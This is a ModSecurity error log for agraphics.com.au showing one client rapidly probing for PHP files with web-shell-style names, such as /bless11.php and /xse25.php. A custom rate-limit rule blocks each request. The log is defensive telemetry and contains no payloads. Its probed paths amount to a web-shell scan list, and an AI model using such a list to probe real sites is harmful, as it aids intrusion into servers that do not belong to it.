[Sun Dec 21 21:44:34.035843 2025] [:error] [pid 59070:tid 59151] [client 104.208.116.65:12083] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aUf5wn3dhXne9KX1kgJYLwAAAJc"]
[Sun Dec 21 21:44:34.552479 2025] [:error] [pid 59070:tid 59130] [client 104.208.116.65:11917] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aUf5wn3dhXne9KX1kgJYMwAAAII"]
[Sun Dec 21 21:44:34.900407 2025] [:error] [pid 59067:tid 59097] [client 104.208.116.65:12039] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aUf5wstpsOP1NfIK_qJwQgAAABc"]
[Sun Dec 21 21:44:35.462274 2025] [:error] [pid 59070:tid 59145] [client 104.208.116.65:11998] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aUf5w33dhXne9KX1kgJYNwAAAJE"]
[Sun Dec 21 21:44:36.104736 2025] [:error] [pid 59067:tid 59083] [client 104.208.116.65:11926] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aUf5xMtpsOP1NfIK_qJwRQAAAAk"]
[Sun Dec 21 21:44:36.991176 2025] [:error] [pid 59067:tid 59077] [client 104.208.116.65:11936] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aUf5xMtpsOP1NfIK_qJwSAAAAAM"]
[Sun Dec 21 21:44:37.460338 2025] [:error] [pid 59070:tid 59143] [client 104.208.116.65:12141] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aUf5xX3dhXne9KX1kgJYOwAAAI8"]
[Sun Dec 21 21:44:37.753843 2025] [:error] [pid 59067:tid 59079] [client 104.208.116.65:11993] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aUf5xctpsOP1NfIK_qJwSQAAAAU"]
[Sun Dec 21 21:44:38.513530 2025] [:error] [pid 59067:tid 59076] [client 104.208.116.65:12009] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aUf5xstpsOP1NfIK_qJwSwAAAAI"]
[Sun Dec 21 21:44:39.351690 2025] [:error] [pid 59067:tid 59089] [client 104.208.116.65:12028] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aUf5x8tpsOP1NfIK_qJwTgAAAA8"]
[Sun Dec 21 21:44:39.678401 2025] [:error] [pid 30183:tid 30192] [client 104.208.116.65:11930] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aUf5x-CmP2zCzk_WZcUW_wAAAQc"]
[Sun Dec 21 21:44:40.134885 2025] [:error] [pid 59068:tid 59107] [client 104.208.116.65:11972] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aUf5yBmLyLqWUlrjwyedIAAAAEY"]
[Sun Dec 21 21:44:40.480132 2025] [:error] [pid 59067:tid 59093] [client 104.208.116.65:12081] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aUf5yMtpsOP1NfIK_qJwVAAAABM"]
[Sun Dec 21 21:44:41.066144 2025] [:error] [pid 59158:tid 59165] [client 104.208.116.65:11914] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aUf5yY7NvyNF8ab5VgVNrAAAAMU"]
[Sun Dec 21 21:44:41.371299 2025] [:error] [pid 59068:tid 59115] [client 104.208.116.65:12013] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aUf5yRmLyLqWUlrjwyedJQAAAE4"]
[Sun Dec 21 21:44:41.675995 2025] [:error] [pid 59068:tid 59118] [client 104.208.116.65:12090] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aUf5yRmLyLqWUlrjwyedJgAAAFE"]
[Sun Dec 21 21:44:42.319208 2025] [:error] [pid 42755:tid 42770] [client 104.208.116.65:12001] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aUf5yuW0XvxgXMTJJbvbSQAAAU0"]
[Sun Dec 21 21:44:42.617982 2025] [:error] [pid 59068:tid 59110] [client 104.208.116.65:11941] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aUf5yhmLyLqWUlrjwyedKAAAAEk"]
[Sun Dec 21 21:44:42.941059 2025] [:error] [pid 59158:tid 59166] [client 104.208.116.65:11996] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aUf5yo7NvyNF8ab5VgVNsgAAAMY"]
[Sun Dec 21 21:44:43.437175 2025] [:error] [pid 59068:tid 59104] [client 104.208.116.65:11974] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aUf5yxmLyLqWUlrjwyedKgAAAEM"]
[Sun Dec 21 21:44:44.091192 2025] [:error] [pid 59070:tid 59139] [client 104.208.116.65:12023] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aUf5zH3dhXne9KX1kgJYQQAAAIs"]
[Sun Dec 21 21:44:44.734910 2025] [:error] [pid 59070:tid 59141] [client 104.208.116.65:12024] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aUf5zH3dhXne9KX1kgJYRAAAAI0"]
[Sun Dec 21 21:44:45.627479 2025] [:error] [pid 59067:tid 59083] [client 104.208.116.65:11915] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aUf5zctpsOP1NfIK_qJwXQAAAAk"]
[Sun Dec 21 21:44:46.042305 2025] [:error] [pid 59067:tid 59086] [client 104.208.116.65:12058] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aUf5zstpsOP1NfIK_qJwXgAAAAw"]
[Sun Dec 21 21:44:46.317095 2025] [:error] [pid 59067:tid 59090] [client 104.208.116.65:12055] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aUf5zstpsOP1NfIK_qJwXwAAABA"]
[Sun Dec 21 21:44:46.640086 2025] [:error] [pid 59067:tid 59093] [client 104.208.116.65:11962] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aUf5zstpsOP1NfIK_qJwYAAAABM"]
[Sun Dec 21 21:44:46.908234 2025] [:error] [pid 59067:tid 59082] [client 104.208.116.65:12005] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aUf5zstpsOP1NfIK_qJwYgAAAAg"]
[Sun Dec 21 21:44:47.170808 2025] [:error] [pid 59067:tid 59095] [client 104.208.116.65:12010] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aUf5z8tpsOP1NfIK_qJwZAAAABU"]
[Sun Dec 21 21:44:47.435288 2025] [:error] [pid 59067:tid 59092] [client 104.208.116.65:12000] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aUf5z8tpsOP1NfIK_qJwZQAAABI"]
[Sun Dec 21 21:44:47.689089 2025] [:error] [pid 59158:tid 59177] [client 104.208.116.65:11927] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aUf5z47NvyNF8ab5VgVNtAAAANE"]
[Sun Dec 21 21:44:48.053159 2025] [:error] [pid 30183:tid 30189] [client 104.208.116.65:11906] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aUf50OCmP2zCzk_WZcUXBwAAAQQ"]
[Sun Dec 21 21:44:48.483537 2025] [:error] [pid 59068:tid 59125] [client 104.208.116.65:12019] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aUf50BmLyLqWUlrjwyedOgAAAFg"]
[Sun Dec 21 21:44:48.815502 2025] [:error] [pid 59068:tid 59112] [client 104.208.116.65:11919] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aUf50BmLyLqWUlrjwyedOwAAAEs"]
[Sun Dec 21 21:44:49.108895 2025] [:error] [pid 59070:tid 59147] [client 104.208.116.65:12143] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aUf50X3dhXne9KX1kgJYUgAAAJM"]
[Sun Dec 21 21:44:49.358736 2025] [:error] [pid 59070:tid 59142] [client 104.208.116.65:11929] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aUf50X3dhXne9KX1kgJYUwAAAI4"]
[Sun Dec 21 21:44:49.779521 2025] [:error] [pid 59067:tid 59074] [client 104.208.116.65:11948] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aUf50ctpsOP1NfIK_qJwbgAAAAA"]
[Sun Dec 21 21:44:50.144085 2025] [:error] [pid 30183:tid 30191] [client 104.208.116.65:11869] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aUf50uCmP2zCzk_WZcUXDAAAAQY"]
[Sun Dec 21 21:44:50.535127 2025] [:error] [pid 42755:tid 42773] [client 104.208.116.65:11980] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aUf50uW0XvxgXMTJJbvbXAAAAVA"]
[Sun Dec 21 21:44:51.079771 2025] [:error] [pid 59067:tid 59075] [client 104.208.116.65:11965] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aUf508tpsOP1NfIK_qJwcgAAAAE"]
[Sun Dec 21 21:44:51.444369 2025] [:error] [pid 42755:tid 42772] [client 104.208.116.65:11970] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aUf50-W0XvxgXMTJJbvbXgAAAU8"]
[Sun Dec 21 21:44:51.819660 2025] [:error] [pid 59158:tid 59178] [client 104.208.116.65:11961] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aUf5047NvyNF8ab5VgVNuAAAANI"]
[Sun Dec 21 21:44:52.100256 2025] [:error] [pid 59158:tid 59172] [client 104.208.116.65:12069] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aUf51I7NvyNF8ab5VgVNugAAAMw"]
[Sun Dec 21 21:44:52.348205 2025] [:error] [pid 59158:tid 59179] [client 104.208.116.65:11904] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aUf51I7NvyNF8ab5VgVNuwAAANM"]
[Sun Dec 21 21:44:52.608651 2025] [:error] [pid 59070:tid 59152] [client 104.208.116.65:11959] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aUf51H3dhXne9KX1kgJYVwAAAJg"]
[Sun Dec 21 21:44:53.134168 2025] [:error] [pid 42755:tid 42768] [client 104.208.116.65:12073] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aUf51eW0XvxgXMTJJbvbYwAAAUs"]
[Sun Dec 21 21:44:53.614912 2025] [:error] [pid 59158:tid 59166] [client 104.208.116.65:11934] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aUf51Y7NvyNF8ab5VgVNvAAAAMY"]
[Sun Dec 21 21:44:54.070000 2025] [:error] [pid 59070:tid 59136] [client 104.208.116.65:11994] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aUf51n3dhXne9KX1kgJYXwAAAIg"]
[Sun Dec 21 21:44:54.547951 2025] [:error] [pid 59158:tid 59170] [client 104.208.116.65:11910] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aUf51o7NvyNF8ab5VgVNvwAAAMo"]
[Sun Dec 21 21:44:54.966709 2025] [:error] [pid 59068:tid 59124] [client 104.208.116.65:11977] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aUf51hmLyLqWUlrjwyedQgAAAFc"]
[Sun Dec 21 21:44:55.227950 2025] [:error] [pid 30183:tid 30209] [client 104.208.116.65:11973] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xse25.php"] [unique_id "aUf51-CmP2zCzk_WZcUXEgAAARg"]
[Sun Dec 21 21:44:55.599775 2025] [:error] [pid 42755:tid 42777] [client 104.208.116.65:11875] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xse25.php"] [unique_id "aUf51-W0XvxgXMTJJbvbZQAAAVQ"]
[Sun Dec 21 21:44:55.949413 2025] [:error] [pid 59068:tid 59116] [client 104.208.116.65:12072] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xse25.php"] [unique_id "aUf51xmLyLqWUlrjwyedQwAAAE8"]
[Sun Dec 21 21:44:56.265202 2025] [:error] [pid 59158:tid 59165] [client 104.208.116.65:11987] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xse25.php"] [unique_id "aUf52I7NvyNF8ab5VgVNxQAAAMU"]
[Sun Dec 21 21:44:56.656491 2025] [:error] [pid 59158:tid 59177] [client 104.208.116.65:12255] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aUf52I7NvyNF8ab5VgVNxwAAANE"]
[Sun Dec 21 21:44:56.955946 2025] [:error] [pid 30183:tid 30194] [client 104.208.116.65:12066] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aUf52OCmP2zCzk_WZcUXFQAAAQk"]
[Sun Dec 21 21:44:57.262370 2025] [:error] [pid 59067:tid 59098] [client 104.208.116.65:12042] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "aUf52ctpsOP1NfIK_qJwhgAAABg"]
